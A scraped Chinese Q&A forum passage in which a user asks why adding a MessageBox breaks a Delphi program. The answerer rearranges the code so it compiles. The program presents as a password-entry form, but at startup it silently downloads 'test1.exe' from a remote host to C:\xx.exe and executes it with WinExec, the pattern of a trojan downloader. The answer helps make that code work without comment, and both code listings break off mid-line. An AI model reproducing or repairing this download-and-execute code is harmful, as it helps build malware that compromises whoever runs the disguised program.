delphi加了messageBox就出错了!不加就好好的~~

来源:百度知道 编辑:UC知道 时间:2024/07/05 16:50:27
代码如下
-----------
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, WinSkinData, urlmon, SkinCaption;

type
TForm1 = class(TForm)
Edit1: TEdit;
Label1: TLabel;
Button1: TButton;
btn1: TButton;
Edit2: TEdit;
Label2: TLabel;
GroupBox1: TGroupBox;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;

private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}
begin

try
UrlDownloadToFile(nil, Pchar('http://www.xx.cn/test1.exe'),
Pchar('C:\xx.exe'), 0, nil);

finally
if UrlDownloadToFile(nil, Pchar

问题不在MessageBox,代码设计有问题,不过你可以调整下button1click的位置

{$R *.dfm}
begin

try
UrlDownloadToFile(nil, Pchar('http://www.xx.cn/test1.exe'),
Pchar('C:\xx.exe'), 0, nil);

finally
if UrlDownloadToFile(nil, Pchar('http://www.xxx.cn/test1.exe'),
Pchar('C\xx.exe'), 0, nil)=0 then
WinExec('C:\xx.exe',sw_shownormal);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
MessageBox(0,'密码不能为空,请务必输入密码','警告',MB_ICONEXCLAMATION);
end;

end.

修改为:
{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
MessageBox(0,'密码不能为空,请务必输入密码','警告',MB_ICONEXCLAMATION);
end;

begin

try
UrlD